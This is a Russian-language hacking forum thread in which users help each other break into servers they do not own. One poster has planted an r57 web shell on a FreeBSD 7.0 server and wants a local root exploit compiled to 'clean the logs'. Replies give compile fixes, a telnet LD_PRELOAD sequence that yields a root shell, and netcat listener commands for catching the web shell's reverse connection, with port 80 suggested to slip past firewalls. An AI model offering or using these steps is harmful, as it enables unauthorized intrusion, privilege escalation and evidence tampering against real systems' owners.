PDA

Просмотр полной версии : Компиляция сплойта под FreeBSD (7.0-RELEASE)


Infocean
19.03.2009, 14:42
Всем прив.

Есть сервак который я почти сломал, не хватает только прав root.
OC: FreeBSD 7.0-RELEASE
Нашел, сплоит по неё: http://milw0rm.com/exploits/8055, но его не получается скомпилировать.
На серве валяется шелл r57.
И так мои действия по компиляции(В C# не силён :():
1) Берём r57 шелл, залитый на сервер
2) Качаем NetCat и запускаем (nc -l -p 11457)
3) В r57 шелле нажимаем BackConnet (в настройках ничего не меняем)
4) Загружаем через шелл нужные сплойты (текстовый документ вида: ttt.c)
5) В консоли вбиваем( если я не ошибаюсь, в какой-то статье давно видел):
gcc ttt.c -o ttt и запускаем ./ttt

У меня же всё обламывается на 5 шаге, при компиляции в консоли выдаётся куча еррор'ов.

Подскажите, почему не компилится сплоит, буду очень благодарен, т.к. надо срочно.(логи почистить).


p.s. Если бы был силён в Си, то не просил бы помочь.

ph1l1ster
19.03.2009, 15:19
1) уверен что ты тупо скопировал весё с милворма :) смотри внимательней где код, а где описание
2) могут отсутствовать библиотеки, прочитай вообще для чего сплойт :\
3) gcc ttt.c -o ttt
gcc -o ttt ttt.c - так лучше)

FaR-G9
25.03.2009, 01:35
какие эроры?
кинь лог

BlackSun
25.03.2009, 01:45
Все нормально компилится, только что проверил.

PS:
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----
#telnet
>auth disable SRA
>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

r0mka
31.03.2009, 13:54
Помогите.
Вообщем пытаюсь поднять права на одном серваке. Пытаюсь заюзать бек конект.
Прописываю nc -l -p 11457 , на r57 жму бэк конект ,шелл выдаёт :
Now script try connect to 85.xxx.xxx.xxx port 11457 ...
Но в cmd.exe ничего не появляется. В чём может быть проблема?

BlackSun
31.03.2009, 14:04
На сервере может стоять фаерволл, открывай у себя 80й порт, больше шансов, что такое соединение будет разрешено. Надеюсь у тебя инет без NAT'а?

laedafess
31.03.2009, 14:05
во-первых лучше
nc -l -n -v -p 11457
во-вторых еще лучше
nc -l -n -v -p 80
в-третьих проблемы могут быть всякие.. зависит от конкретного случая. Может фаервол мешает, может ты за натом
вот еще по теме можешь почитать:
http://forum.antichat.ru/showthread.php?p=162986

r0mka
31.03.2009, 14:29
BlackSun, laedafess . Спасибо большое, быстренько ответили.

nc -l -n -v -p 80
Это помогло.